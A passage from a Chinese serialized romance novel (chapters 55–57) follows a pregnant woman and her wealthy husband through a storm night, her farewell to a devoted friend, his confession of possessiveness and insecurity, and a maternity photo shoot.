她抚了上来,动作很轻,带着一种并不熟练的认真,像是在小心翼翼地学习,又像是在反复确认,他不可忽视的存在。 他几乎是立刻就有了反应。 呼吸乱了。 原本克制的身体,彻底暴露了真实的欲望。 他闭上眼,额角的线条绷得极紧,像是在忍,又像是在被她一点点逼到失控的边缘。 “别看。”他的声音低哑得不像话。 她却偏不。 她看着他。 看着这个一向冷静自持的人,因为她的触碰,连呼吸都不再受控。 那种反差,几乎让她心口发烫。 她忽然明白了。 他那种令她上瘾的性/感,从来都不是刻意的。 而是这种—— 被允许失控,却仍然努力保持分寸的样子。 时间被拉得很长,长到窗外的雨声都换了节奏,而他的反应,却始终没有消退。 雪松香味越发浓重,明明是冷木香调,燃烧却炽烈。 最终他还是低低地喘了一下,声音几乎被雨声盖过去,额头抵在她的肩上,身体微微颤抖。 所有被压抑的情绪,在那一刻短暂地失守,终于没能藏住。 可即便如此,他依旧没有越界。 只是在结束后,把她重新抱紧,像是什么都没发生,又像是有什么已经彻底改变。 那一刻,姜绒无比清楚—— 他不是不会沉沦。 只是从来都愿意,为她停在边界之内。 窗外的雨声还在。 红暴并没有立刻离开。 风依旧刮着,雨仍旧密集地落下来,只是不再像最初那样狂烈。 节奏被拉长,雨点砸在窗上的声音,变成了连续而低缓的敲击。 风雨像是在慢慢退场。 姜绒仍旧被陆沉渊抱在宽阔的怀抱里。 她的背贴着他宽阔的胸膛,能感觉到他身体真实而清晰的温度,呼吸一起一伏,安静而规律。 她没有再缩起来。 也没有再躲雷雨声。 她甚至能抬起头,看向窗外。 防风板外的雨幕被灯光映得发白,水流顺着玻璃滑落,留下一道又一道的痕迹。 她忽然发现—— 自己的心,没有再被拽回那条巷子。 没有刀。 没有脚步声。 没有贴在耳边的粗鲁辱骂。 那些曾经在雨夜里必然出现的画面,第一次,没有来。 姜绒愣了一下。 然后才后知后觉地明白,是因为他在。 因为此刻,她不是一个人。 陆沉渊有力的手臂收紧了一点,像是察觉到她的走神,要把她重新拉回温暖的怀抱里:“在想什么?” “看。”姜绒轻声说,“雨小了。” 他顺着她的视线看过去。 “会停的。”他语气坚定,像是在陈述一件必然会发生的事实。 她沉默了一会儿,忽然开口:“以前我很怕,夜里听到下雨声。” 他没有追问。 手臂只是更稳地抱着她。 “那时候我总觉得,”她的声音很低,“只要下雨,坏事就会发生。” “在英国的时候,每一次晚上下雨,我都在朋友的公寓里躲着,人越多越好,越热闹越好。” “因此,我总会提前很久看天气预报,能睡的安稳的机会并不多。” 她说得很轻,像是在对空气解释。 陆沉渊却听懂了。 他低下头,下巴抵在她发顶,声音贴着她的耳侧,低而笃定。 “从今以后,”他说,“你身后都有我。” “不会再有任何人,能在你背后靠近你。” 他的语气不是安慰。 是宣告。 姜绒的眼眶忽然热了一下。 以前她不相信他说出来这句话,总觉得轻飘飘的没有重量,可今天他用实际行动告诉了她,他言出必行。 她没有回头,只是往后靠了靠,把背后的重量交给他。 像是终于允许自己,相信一次。 窗外的雨继续落着,却已经不再令人害怕。 红色预警还没解除,可她却第一次,在这样的夜里,感到平静而温暖。 原来所谓的安全感,不是世界不再危险。 而是—— 有人站在你身后。 替你挡住所有回头时,来不及防备的黑暗。 第55章 第五十五章 是她自己走向了光 红暴是在凌晨退去的。 没有预兆, 也没有任何仪式感。 整个世界像是耗尽了所有力气以后,忽然就安静了下来。 城市恢复供电的时候,姜绒正靠在陆沉渊怀里睡着。窗外的雨已经变成了普通的雨声, 落在玻璃上,细碎而温和。 她睡的很安稳, 很沉。 醒来时,天已经大亮了。 她那个拧巴、古怪的,凌晨五点起床的生理性闹钟, 再一次华丽的失灵了。 一旦和陆沉渊睡觉, 就是有这种魔力存在, 姜绒根本无法解释。 窗帘没拉严, 晨光从缝隙里落进来, 在床沿投下一道很浅的光。 陆沉渊还没醒。 他侧躺着, 离她很近, 一只手臂松松地环在她腰后,像是怕她在睡梦里退开,却又不敢真的用力。 她很少这样近距离地看他。 没有西装,没有冷硬的线条,他的眉眼在晨光里显得格外干净。睫毛很长, 垂着,在眼下落出一小片阴影, 呼吸均匀而沉稳。 和她睡的极香不同, 他倒像是一整夜都没怎么睡,却又不肯离开。 姜绒轻轻动了一下。 他骨节修长的手, 立即下意识收紧了一点,宽大的掌心贴着她纤薄的后背,把她重新带回怀里。 动作熟练得不像是第一次。 像是被什么击中了, 姜绒心中兀然一暖。 她抬手,指尖小心地碰了碰他的下颌线,又顺着他冷白颈侧的脉搏,轻轻按了一下。 温热、有力。 “醒了?” 陆沉渊的声音很快贴着她的发顶响起,低而哑,带着刚醒的慵懒,比她预想中还要快。 她点头,又想起他还闭着眼,索性轻声“嗯”了一下。 他睁开那双好看的黑眸,看她的第一眼很专注,像是在确认她是不是还在。 然后才慢慢放松了下来。 “还害怕吗?”他问。 她摇头,额头无意识地贴上他宽阔的胸口。 “没有。”她说,“有你在。” 这句话说得很轻,却像是被陆沉渊听得很清楚。 他低头,在她发顶落下一个极轻的吻,骨节修长的手指,则顺着她的背轻轻拍了拍,节奏很慢,像是在继续哄她。 姜绒低垂着长睫,兀然想起昨夜发生的一切。 她白皙的耳根发烫,嘴角却不由自主的扬起一抹笑容来。 陆沉渊今天并没有去公司。 准确来说,他开始有意识地减少在陆氏集团的公事。必要的会议远程处理,其余时间,他几乎都待在家里。 像是在专门守着她和孩子。 姜绒起初还有点不适应。 “你这样真的没问题吗?”她坐在沙发上吃苹果,“陆氏集团,不是离了你就不转的那种嘛,真的不会停工吗?” 毕竟她知道,这个人虽然和自己年龄差不多,但在商界的阅历和能力远超自己无数倍,并且以极其冷血的铁手腕,管理着手里的陆氏集团以及他的审计事务所。 而她当然也知道,昨晚这个人冒着红暴的风险,坐上了他的私人飞机,丢下了一切,包括在纽约的金融峰会,回到了凛川。 因此对他手里公司,所产生的,难以预估的后果与代价,她根本不敢去想象。 “不会停。”陆沉渊沉声说,“但慢一点,也没什么。” 慢一点这三个字,从他嘴里说出来,很陌生。 姜绒却听得心口一软。 “那达沃斯峰会的行程,有谁替你吗?”虽然知道,自己没必要咸吃萝卜淡操心,但她还是忍不住追问了一句。 “杨西。”陆沉渊的回答轻描淡写,却令姜绒差点把嘴里未咽下去的苹果喷出来。 那个满脸写着天真的愣头青助理,真能圆满完成一切任务吗? 为了安心待产,顺利进入孕晚期。 姜绒也把艺术馆那边的工作停了下来。 策展交接、项目暂停、合作延后,她把一切安排得妥当而平静。 生活忽然变得很小。 小到只剩下三件事—— 吃饭、睡觉、等孩子。 还有一件,被她放在心里,却还没向陆沉渊说出口的事。 拍孕妇照。 这一次,不是为了形式主义。 也不是为了任何外在的理由。 而是,为了她们一家三口。 她在网上看了好几家摄影棚,把手机递给陆沉渊,让他选。 他看得很认真,却最后说:“你决定就好。” 姜绒笑了:“那你负责配合。” 他利落点头:“好。” 那天上午,她正在客厅整理拍照要穿的衣服,手机却忽然震了一下。 她看了一眼屏幕。 是周野。 【我有件很重要的事,想亲口告诉你。】 【能见一面吗?】 姜绒的动作停住了。 早就知道,这一天会来。 她回了个“好”。 指尖刚落下,心口却轻轻沉了一下。 她抬头时,正好对上陆沉渊的视线。 他坐在不远处看文件,像是无意,却已经把她的反应收进眼底。 她刚刚看手机时,表情变了。 变化很轻微。 但他看出来了。 姜绒没有说要出门。 只是把手机放下,继续叠衣服,动作却慢了些。 “我下午出去一趟。”她说,“很快回来。” “嗯。”他应了一声,没有追问。 可在她转身进卧室的那一刻,他合上了文件。 有些事情,不需要被告知。 只需要确认,她务必是安全的。 他看了一眼时间。 然后拿起了车钥匙。 姜绒是在傍晚去见周野的。 那家餐厅藏在老城区的拐角,灯光永远偏暗,像是刻意替人留出一块不被世界打扰的地方—— 是周野极少告诉别人的,他的一家私人中餐厅。 她推门进去的时候,周野正站在灶台前。 金发随意束着,脖颈上的藤蔓纹身在热气里若隐若现。他听见动静,抬头看她,先笑了一下。 “来得正好。”他说,“汤刚好。” 她坐下,看着那碗汤,熟悉的香气慢慢漫上来。 那是她在英国最糟糕的那几年,在湿冷的天气里,唯一能完整喝下去的东西。 “你不是说,要告诉我狗仔的事吗?”她先开口。 周野点头。 “乔安安。”他说得很直接,“她找的人。艺术馆那天,你被拍不是意外。” 姜绒并不意外,只是指尖轻轻收紧。 “我猜到了。” 周野看了她一会儿,忽然笑了一声。 “你今天来,不只是为了这个。” 她抬眼。 “你是来跟我告别的。”他说。 她没有否认。 “我欠你一句话。”姜绒低声说,“很久了。” 周野没说话,高大的身影只是靠在料理台边,等她继续。 “我很感激你。”她说,“你在我最糟的时候,把我拉了回来。” 抑郁症严重的那年,在英国她几乎是靠本能活着。 不想吃,不想说话,不想见人。 是伦敦的那家小饭馆,是他,用一道一道的食物把她留住。 “但我对你……”她停顿了一下,还是说完,“不是那种喜欢。” 周野垂下眼。 “我知道。”他说。 她一愣。 “你一直抗拒任何肢体接触。”他说得很平静,“不止是对我,是对所有人。” 他抬头看她,眼神温柔得,根本不像平时那个痞里痞气,没什么正形的人。 “除了他。” 姜绒喉咙发紧。 “你在他面前,是放松的。”周野说,“你不需要防备。” “我学做饭,一开始不是为了梦想。”他忽然说。 她怔住。 “是为了活下去。”他说。 他转过身,看着窗外。 “我小时候,父母不管我。”他说,“家对我来说,只是一个随时可能被赶走的地方。” “我每天想的都是,今天吃什么,明天怎么办。” “后来我发现,只要我能做出让人愿意留下来的东西,我就不会被抛下。” 他的声音很稳,却低得让人心疼。 “所以我开了第一家小饭馆。”他说,“不是为了治愈别人,是为了救自己。” “你那时候走进来,坐在角落,连勺子都拿不稳。”他说,“我第一次意识到,原来做饭也能救人。” 姜绒的眼眶慢慢红了。 “可现在你不一样了。”周野转回来看她,“你能选,你敢选。” “你选他,不是因为婚姻,不是因为孩子。”他说,“是因为,你真的想留下。” 他笑了一下,带着一点释然。 “这就够了。” “我会放手。”他说,“也会祝你幸福。” “因为我知道,一个有爱的家庭,对孩子来说,意味着什么。” 他停了一下,又补了一句: “我没有,但你可以有。” 姜绒低下头,眼泪掉进汤里。 她起身要走的时候,周野叫住了她。 “对了。”他说,“我准备回英国了。” 她猛地回头。 “本来也是追着你才回国的。”他耸了下肩,“你在哪,我就在哪开店。” “现在不用了。” “你已经不需要我了。” 他说这句话的时候,没有怨,也没有苦。 只有一种终于把人送到岸边的轻松。 姜绒走后,餐厅里很安静。 周野关了火,一个人坐在空桌前。 他想起很多年前,伦敦的雨夜,他守着那间快要倒闭的小饭馆,兜里只有几枚硬币。 那时候他想的不是未来。 只是活下去。 后来她来了,兀然让他看到了无尽的希望。 他以为自己终于被选择了一次。 可他没有难过。 因为他比谁都清楚—— 她不是被谁带走的。 是她自己走向了光。 他收拾好厨房,关灯前,看了一眼空荡荡的门口。 “走好,小绒球。”他低声说。 这一次,是对她。 也是对自己。 餐厅外,昏黄路灯下,路边一辆黑色迈巴赫里。 姜绒走进餐厅的时候,陆沉渊没有下车。 他本来只是想来确认她的安全。 可当那扇门在他眼前关上时,他却没有立刻离开。 像是某种不安,让他停在了原地。 他从来不做“跟踪”这种事。 那是低效、失控的行为。 可他还是做了。 时间一点点过去。 餐厅的灯很暖,隔着玻璃,能看到她的侧影。 她坐得很直,却不紧绷。 那是在她熟悉的人面前,才会有的松弛感。 然后,他听见了,她的声音,顺着窗缝传出来。 她说:“我对你不是那种喜欢。” 那一瞬间,他的手指猛地收紧。 心脏像是被什么攥住了。 不是因为她拒绝了别人。 而是因为他第一次如此清楚地意识到—— 她是拥有选择对象的。 她并不是他一个人的。 那种强烈的占有欲,几乎是本能地翻涌上来。 想下车。 想推门。 想立刻当着周野的面把她带走。 可下一秒,她们的对话,却像一把极轻的刀,把他心里那股冲动一点点削掉了。 他说,她抗拒所有人的触碰。 除了他。 陆沉渊靠在椅背上,闭了闭眼。 胸腔里有什么在发烫。 不是得意。 是震动。 他第一次从第三个人的口中,听见自己在她生命里的位置。 他不是丈夫。 也不是孩子的父亲。 而是——与所有人都不同的那个例外。 然后,周野的声音, 平静,却温柔。 他说她已经不一样了。 那一刻,陆沉渊忽然意识到一件事。 他一直以为,爱是自私占有。 是把她护在自己规则严密的世界里。 可原来不是。 爱是—— 她可以被别人喜欢。 可以被世界拉扯。 却还是,走向你。 那种确认,比任何控制都更有力量。 他靠在车座上,指节慢慢松开。 第一次,任由一种陌生的感觉,在体内扩散。 并非紧绷。 并非戒备。 而是允许。 允许她有过去, 允许她曾被温柔对待。 允许别人爱过她。 当周野说出那句—— “我会放手。” 陆沉渊的喉咙忽然发紧。 他没有胜利的快感。 只有一种沉重的、近乎敬意的安静。 那是一个男人,把自己放在爱之后。 姜绒走出餐厅门的时候, 他在车里望着她背影,已经在心里,对自己说了几句话—— 不是因为孩子。 不是因为责任。 是因为她愿意留下, 愿意选择留在他身边。 第56章 第五十六章 他这份脆弱,只给了她一…… 陆沉渊回到家的时候, 天已经暗了。 玄关的灯是亮着的。 他伸出骨节修长的手指,推门进去之前,先听见了声音。 电视里动画片的配乐有些喧闹, 节奏轻快,带着不合时宜的热闹。 紧接着, 是一声很短的清脆的笑。 姜绒的。 他站在门外,停了一秒。 他其实早就习惯了冷清。 不觉得孤独,也不觉得哪里不对。 无论是小时候那个家, 还是现在这栋别墅, 安静一直都是他所在空间的默认状态。 没有多余的声响, 没有人打扰, 也不需要期待。 那样日复一日机械般的生活, 那样的家, 对他来说, 从来都是正常的。 可此刻,这点喧嚣吵闹却没有让他皱眉。 相反,他清楚地意识到—— 屋子里有人,家是可以有声音的。 有人在看动画片,会因为无聊的情节笑出声, 会在他还没进门的时候,就把空间填满。 陆沉渊忽然发现, 自己竟然已经开始习惯这种声音。 甚至, 在开车回来的路上,他不自觉的加快速度, 隐约地盼望过。 门被推开的一瞬间,笑声变得清晰。 灯是暖的,空气是活的。 姜绒坐在沙发上, 腿收着,抱着靠枕,正盯着屏幕看。听见动静,她下意识回头。 那一瞬间,陆沉渊停住了脚步。 她的红发披着,颜色在灯下很干净,没那么张扬,却很显眼。皮肤白,脸上没化妆,整个人却显得松弛又明亮。 她朝他笑了一下。 很自然。 眼睛弯起来的时候,弧度像是一轮弯月,鹿眼清亮,带着点不设防的神色。 嘴角的两个小梨涡露出来,给她增添了点天真和稚气,让人很容易忽略,她是个即将做母亲的人。 他忽然想起高一。 那时候的姜绒,也是这样,几乎是走到哪里,都会被注意,像是所有好事都会落在她身上。 并不是她刻意张扬,而是她这个人,只是存在那里,就很容易被人看见,她就有着这样的力量。 他偷偷注意过她。 走廊里有人叫她名字,她会一边倒退着走,一边和人说话,笑得肆意,发尾在空气中划出弧度,书包随意甩在肩上。 转角时差点撞到人,又很快站稳,冲对方笑着说一句“抱歉”,语气轻快,连道歉都从不让人觉得生气。 午休的时候,她的课桌常被一群人围着。 有人让她帮忙改画,有人问她社团的事,还有人起哄说她又被学长表白了。 她听着,只是挑眉笑笑,回一句:“没你们说的那么夸张啦!” 陆沉渊记得很清楚。 那时的她,是一个看起来,从来不会被生活为难的人。 所以后来,她念完高一,突然出国,他以为那只是她顺理成章的一步。 离开、成长、继续被世界温柔对待。 但若不是刚才听到周野说出的话。 他从没想过,她会在远离人群的地方,独自承受另一种生活。 “回来了?”她先开口,语气很自然。 “嗯。”陆沉渊应了一声,把外套挂好。 他走过去,高大的身影,在她身旁坐下。 姜绒看了他一眼,又很快移开视线。 “你今天……”她像是在斟酌措辞,“是不是绕路了?” 他的指尖微微一紧。 没有否认。 “我猜你跟踪我了。”她说。 他说不出话。 姜绒没有追问为什么。 只是把手里的抱枕放下,慢慢开口。 “你不用跟我道歉。”她说,“我知道你不是不信任我。” 他抬头看她。 陆沉渊坐在灯影里,外套已经脱了,衬衫袖口随意挽到手肘,带着一股克制的力量感。 他很高,肩背挺直,哪怕只是站在那里,也让人下意识觉得可靠。 可此刻,他的下颌绷得很紧,唇线压着,像是在等她说什么,又像是在防备。 她忽然意识到,他其实并不擅长被看见。 尤其是,被这样看穿。 “你只是害怕。”姜绒接着说。 这句话,像是直接落进了他心里。 陆沉渊眼神,微微动了一下。 客厅的灯光很柔,把他眉骨的轮廓勾得很清晰。 那双总是冷静得过分的眼睛,此刻却显得有些深,像是藏着没来得及收好的情绪。 她以前总觉得,他像一座被精密计算过的建筑。 现在却越来越发现,那些令他冰冷规整的线条下面,其实藏着一颗,一直站在风里的心。 “你害怕失去,害怕被丢下。”姜绒说,“也害怕你所不知道的,那一部分的我。” 他喉结滚动了一下。 “我不是故意的。”他说。 声音很低。 “我知道。”她点头,“因为你从小就是这么过来的。” 他愣住了。 姜绒转头看他,目光很安静。 “你长大的环境里,没有人教过你,爱是可以放心的。”她说,“你学会的,是随时准备失去。” “所以你会确认,会跟着,会想知道我是不是安全、是不是只属于你。”她轻声说,“那不是因为控制,是因为你没有安全感。” 他的胸口忽然发紧。 这是第一次,有人这样准确地说出他所有的行为逻辑,指出他的脆弱、不安。 却没有责怪。 她说的每一句,都没有夸张。 却也没有给他留退路。 那些他从未向任何人承认过的念头,在她口中被拆解得干净而清晰。 在车里的时候,他其实差一点就下车了。 看到她进餐厅的那一刻,他的手指已经搭上了车门。 他清楚地知道,如果周野伸手,如果他们靠得太近,他大概率会失控。 而现在,她坐在他面前,用这样平静的语气,说出“你只是害怕”。 不是指控,不是审判。 只是陈述。 陆沉渊忽然意识到,她看见了他的独占欲。 也看见了那背后真正的来源。 是他从来没有拥有过“可以被留下”的经验。 他一直以为,靠近就意味着风险。 确认,是唯一能让他暂时安心的方式。 可她没有因为这些退开。 反而坐得离他更近了一点。 这一刻,陆沉渊第一次清楚地感受到了—— 原来有人可以在看见他最阴暗、最不体面的冲动之后,依然选择理解他。 “我在英国的时候,”姜绒说,“有段时间,其实抑郁很严重。” 她说这句话的时候,语气很轻。 陆沉渊脑子里,却空了一拍。 关于抑郁症的这件事情,她从未亲口向他主动提起,这是第一次。 而听她亲自说起,比起任何道听途说,冲击力都要更强。 他不由自主伸出了骨节修长的手指,紧紧攥住了姜绒放在沙发上,温度微凉的纤长手指。 “严重到什么程度?”他问。 声音比自己预想还要不稳。 她沉默了一会儿,像是在回忆,又像是在衡量,要不要说得太清楚。 “每天醒来,我都要花很久时间,才能说服自己出门。” “有一段时间,我几乎不跟任何人产生语言交流,以及肢体接触。” 她抬眼看他。 “不是我不想,而是我根本做不到。” 他的呼吸慢慢变重。 空气像是被什么压住了。 “初中的那件事。”她轻声说,“你知道的。” 那一刻,他胸腔里有什么东西塌了下去。 原来她从来不是从一种明亮,走到另一种明亮里, 而是在黑暗里,一步一步,独自学会,让自己看起来没事。 “所以在英国的时候,”姜绒继续说,“我抗拒所有异性的靠近。哪怕只是触碰。” “周野对我很好。”她看着他,“但我的身体是关上的。” “只有你不一样。” 这句话没有被她强调,却比任何解释都要重。 陆沉渊握住她指尖的手,在微微发抖。 他又想起高一时候的她。 那时,她站在人群中间,说话音色清亮好听,笑声干脆。 男生女生都围着她,像是理所当然。 隔壁班的班草站在走廊等她,有人把情书和礼物塞进她抽屉,她翻到时也不慌,只是笑着合上。 那时候的她,看起来太轻易被喜欢了。 轻易到,令他曾经误会。 误会她对所有的靠近都来者不拒。 误会她的明亮是一种随性,甚至他一度以为,她大概早就谈过恋爱,和那些追求者中的某一个,或者某几个。 他从未验证过。 就把这种猜测,当成压下自己情绪的理由。 现在想来,那不过是他的防御。 防止自己被吸引,防止自己去注意,防止自己的心,向她靠近的方法。 “你没有做错什么。”陆沉渊低头看向她,声音比自己预想的还要轻。 姜绒抬眼看他,像是在确认。 “你只是被吓到了”他说,“人被恐惧抓住的时候,本来就会本能地退开。” “你能够让自己一切如常的生活下去,而且还愿意继续走向别人,这已经很难了。” 她的眼睫轻轻颤了一下。 “你不需要证明任何事。”陆沉渊接着说。 姜绒的鼻尖忽然发酸。 “姜绒。”他突然轻声唤她的名字。 “你不是一个人面对那些记忆的。” 她怔了一下。 他的唇离她很近,却停住了。 距离近到,她能清楚地感受到他的呼吸。 而他没有再往前。 只是在她耳边,低声说了一句—— “以后,你可以慢慢来。” 这一次,姜绒没有忍住。 滚烫的眼泪掉下来,砸在两人交叠的手上。 他没有立刻去擦。 只是微微收紧了手指,宽大的手掌,把她的手完全包住。 “我以前总以为,喜欢是一种不可预估的极大风险。”陆沉渊忽然说。 她抬头,泛红的眼眶望着他。 “后来发现,那是我不敢承认自己需要。”他说,“我不太会面对这种感觉。” 他的拇指无意识地在她手背轻轻摩挲了一下,又很快停住。 “我会想靠近。” “也会想确认。” “有时候,我甚至会极端的想,就把你留在我一个人的视线里就好了,把你藏起来,独占你的所有、独占你的全部。” 他说这些的时候,语气很平静,却像是在一点点拆开。 “我知道这样做很不体面。”他低声说,“可我真的不知道,怎样才算安全。” 听了陆沉渊的话,姜绒没有躲,也没有退开,反而往他那边靠近了一点。 肩膀贴上了他的,动作很轻,却很明确。 陆沉渊看着她,那双深邃的黑眸里,第一次没有防御,认真说道: “我不是不信任你。” “我只是,不太会相信关系。” 姜绒却伸出纤长的手,轻轻捧住了他轮廓深邃的温热的脸,动作放得很慢: “陆沉渊,谁说你不可以害怕,也不可以去依赖的?这不是你的错,你并不需要立即去修正。” 陆沉渊的呼吸,在那一瞬间乱了。 他一双黑眸,牢牢锁住姜绒那双清澈至极的鹿眼。 “我很缺爱。”他垂下眼睫,终于承认。 声音低得几乎要碎掉。 姜绒怔住了。 她看着他,忽然有一种极不真实的错位感。 站在她面前的这个男人,是陆沉渊。 他是千亿集团的唯一继承人,手里的资本版图横跨数洲,也是全球顶尖审计事务所的创始人。 更是财经杂志的封面常客,金融论坛的发言人物、金融界的代表人物。 喜欢他的女人太多了,多到她们连名字,都没机会被他扫一眼。 从高一认识之初开始,在她心里,他就如同那节生物实验课上,他手里那把冷静、锋利、强大、从不会失手的手术刀。 陆沉渊的人生,看起来什么都不缺。 可现在,他坐在她面前,亲口对她承认—— 他缺爱。 灯光落在他脸上。 他的五官本就偏冷,眉骨深,鼻梁挺直,下颌线干净利落。平日里这张脸,总给人一种不容靠近的距离感。 可这一刻,他的眼神却低垂着。 没有锋芒,也没有防备。 那双总是冷静到近乎残忍的眼睛,此刻很暗很深,像是把所有的骄傲都暂时收了起来,只剩下真实。 这一刻,所有身份、金钱、光环,都退到了很远的地方。 只剩下一个男人。 站在她面前,向她坦诚自己心底的那块空白。 而姜绒清楚地知道—— 他这份脆弱,只给了她一个人。 第57章 第五十七章 我会学着当好一点的爸爸。…… 姜绒没有立刻说话, 只是静静的看了他一会儿。 然后,她伸出纤长的胳膊,抱住了他。 陆沉渊的身体有一瞬间的僵硬, 看着她那张在灯下恬静而温柔的脸,她睫毛很长, 神色如常,仿佛听到的只是一件很寻常普通的事情。 没有急着安慰,没有急着证明什么, 只是把脸贴在他胸口, 默默的听了一会儿他的心跳。 “那你现在说出来了。”几分钟后她轻声说, “就已经不一样了。” 陆沉渊微微一怔。 “缺爱这件事, 不是缺点。”她继续, “只是你以前没有遇到过, 会给你爱的人。” “现在你会遇到。”这不是她的承诺, 更像是一个,她默认的事实。 陆沉渊喉结轻轻动了一下,他能清晰的看到,姜绒的耳根在发红,说出这句话时, 连同整张白皙的小脸泛起一层薄薄的绯色。 可她说出来的话却如此明确,不带有一丝一毫的犹豫, 虽然似乎并非是在说, 她爱他,毕竟现在, 他们彼此都还没有将真正的表白宣之于口。 “咳,明天不是要出门吗?”她忽然转了话题,语气轻快起来, “孕妇照。” 他回过神来,点了点头。 “你不喜欢拍照。”她笑了一下,“但这次不一样。” “为什么?”陆沉渊问。 她低头,看了眼自己的肚子,又抬头看他。 “因为这是第一次,不是拍给别人看的照片。”她说,“是给我们自己的。” “我们三个人。” 这一刻,望着姜绒明媚的笑容,唇边泛起的小小梨涡,他兀然感觉到,胸腔里那块空了很久的地方,突然就有了轮廓。 “好。”陆沉渊回答她道。 第二天清晨,司机开车将他们送去摄影棚,姜绒在车上花了点时间,听陆竞深和黎婉矜的蹩脚童话书朗读。 为了自己未出生的孙儿,他们竟然真的把一张老脸豁出去了,老老实实按照姜绒此前的要求,每天都会把录音,发在她拉的群里打卡。 姜绒一边放着录音听,一边欢脱的笑得不行,还不忘和林晚微信语音吐槽,陆沉渊没管她,偶尔看向车窗外。 地址在凛川城郊一条并不算热闹的老街里。 门面不大,没有任何显眼的商业招牌,只在灰白色的外墙上嵌了一块很旧的铜牌,边缘被岁月磨得发暗,上面刻着摄影棚的名字,字体是手写体。 推门进去的一瞬间,外面的世界像被关在了门外。 室内挑高很高,原本是旧厂房改造的空间,梁柱保留着原始结构,墙面却被处理成温润的米白色。 光线不是直白的补光灯,而是从高处的天窗落下来,被纱帘柔和地过滤过,带着一种旧时光的颗粒感。 空气里有很淡的木质香和旧书味。 角落里摆着几把磨损过的皮椅,一张老式留声机,还有一整面墙的胶片相机与手冲照片。 这是那种,不需要向任何人证明“我很贵”的地方。 不张扬,却处处充满复古的艺术气息,是姜绒会喜欢的类型。 他们牵着手走进摄影棚门口的时候,门正好被推开了,门帘上挂的风铃声发出一道轻响。 一家三口正好从里面走了出来。 父亲穿着浅色衬衫,母亲是柔软的米白长裙,小男孩被牵在中间,穿着相同颜色款式的背带裤,一边走,一边吃着草莓味的棒棒糖。 经过他们俩时,母亲笑着低头帮他整理好裤脚,父亲则顺手把他抱起来。 小孩笑得很响。 那种笑声,发自内心,天真而清脆,是被爱包围着成长的味道。 陆沉渊脚步慢了一下,视线短暂的落在他们身上。 姜绒下意识转头,看向他。 陆沉渊看得很安静,脸上没有表情,目光却停留得比旁人久一些。 她忽然轻声问,“你小时候,有没有和你爸爸妈妈穿过这种衣服?” 她问出口的那一瞬间,其实早就已经知道答案了。 只是,她还是想问。 因为在她的记忆里,“一家三口穿一样的衣服”这件事,太寻常了。 寻常到,她甚至从来没想过,有人会没有。 她想起自己很小的时候,那时候的家,总是亮着灯。 她爸爸拍照从不讲究构图,只会喊:“绒绒,看镜头——笑一个!” 而她妈妈苏女士,总会在一旁整理她的衣角,或者顺手把她的头发拨到一边。 他们四个人穿过很多奇奇怪怪的亲子装。 春天的风衣,夏天的白衬衫,甚至还有一次,她妈妈心血来潮,给他们四个人都织了同款的丑毛衣。 拍照的时候,她总是被抱在最中间。 照片洗出来以后,苏女士会一张一张分类,还指给大学毕业回家后的她看过: “绒绒,这是你幼儿园的照片,你还拽小男孩裤子呢。” “这是你小学六年级,第一次画画拿奖的。” “还有,这张是你换牙的时候,笑得特别傻。” 相册被能干的苏女士,分成了一整排,按年份放好,每一个阶段,都被认真保存。 那些照片里,从来没有刻意晒出的幸福。 有的,只是他们所有人都默认的一件事——在一起,本身就值得被记录。 想到这里,她忽然有点心疼。 因为她忽然意识到——她问的这个问题,对陆沉渊来说,可能从来就不存在“有没有”。 果然,他沉默了几秒钟后。 给出了她答案:“从来没有。” 他的语气很平静,平静到,像是在陈述一件与自己无关的事。 “家里的照片,只有单人,或者正式合影。”陆沉渊补了一句,“每一次,都有人站在镜头后面指导我,告诉我,应该怎么去笑。” 没有亲子装、没有为了纪念而存在的照片。 只有被要求站好、看镜头、不许乱动。 姜绒握着他的手,指尖不自觉地收紧。 她没有再追问,只是仰头朝他笑了一下: “没关系,以后我们拍!” 她纤长的手指,指了指自己的肚子,笑颜如花。 “我们三个人,要拍很多很多。” 陆沉渊低头看她,那一瞬间,他忽然意识到——未来这两个字,在他那里,第一次有了具体的画面。 正式拍摄前,需要换装,是在两个相邻却独立的更衣间里。 姜绒是后出来的那一个。 视线落在她身上那一瞬间,陆沉渊明显怔了一下。 她穿的是一条象牙白的复古礼服,没有夸张的裙摆,线条干净,腰线被温柔地抬高,刚好托住隆起的腹部,布料很软,垂感极好。 不是婚礼上的白,更像是旧画册里,被时间偏爱的那种白。 她的红发被简单地挽起,几缕碎发落在颈侧,露出精致好看的锁骨和肩线。 整个人,看起来神圣而美好,多了母性的柔和与光芒。 姜绒看见他的表情,故意慢慢转了个圈:“是不是和平时很不一样?” 他喉结动了一下,声音低低的:“嗯。” 不一样。 比任何时候,都更让人无法移开视线。 而视线落在陆沉渊身上时,姜绒也愣了一瞬。 他换下了惯常的气质冰冷的深色西装,穿的是剪裁极简的驼色衬衫,没有任何多余装饰,连领口的设计都收得很干净,整个人温柔极了,有很强的人夫感。 但也正是这样,反而让他的肩背线条显得格外清晰且可靠。 灯光落在他身上时,他整个人显得安静、克制,却又有着极其不容忽视的存在感。 “你也很好看。”姜绒垂下眼睫,耳根发烫,不自觉的低声夸了他一句。 进入摄影棚后,陆沉渊明显不太适应。 灯光、背景板、镜头,全都带着一种他很熟悉、却本能就会觉得排斥的形式感。 他站得笔直,肩背过分挺直,浑身僵硬得,就像是在开发布会,亦或者参与什么敲钟上市的剪彩仪式。 姜绒看了他一眼,没忍住笑。 “你别这么紧张。”她凑过去,小声说,“我们不是来开股东大会的” “而且你不是路人甲乙丙丁,是我的——老公。” 她把重音着重落在最后两个字上,音调有些娇软上扬,却成功让陆沉渊眸色深了一度。 他越发能感知到,真正的姜绒是什么样子,在他面前全然卸下一切防备与阴影后,她本人的存在,是一束炽烈而充满生命力的阳光。 很多时候,都耀眼到,他完全无法移开视线,会屏住呼吸。 姜绒伸出纤长手指,拉住他的手腕,把他往自己这边带:“来,靠近一点。” 她把他宽大的手掌放在自己腰侧,又自己贴过去,动作自然得像是早就习惯了。 陆沉渊明显僵了一下,可他没有躲。 摆好动作以后,她仰头看他,眼睛亮亮的。 “看我。”她说。 他低头。 视线落下来的那一刻,整个人都明显松了一点。 摄影师在一旁捕捉到这个变化,连声按快门,并忍不住夸赞:“很好很好!再近一点。” 姜绒干脆把头靠在了他宽阔的肩膀上。 他下意识抬起宽大的手掌,护住她的后背。 “对,就是这样。”摄影师笑着说,“现在再来一个借位吻的感觉。” 然而,话音刚落,姜绒还没反应过来,陆沉渊已经低下了头去,却不是借位。 他的唇直接落了下来。 很轻,却极准。 她整个人怔住了。 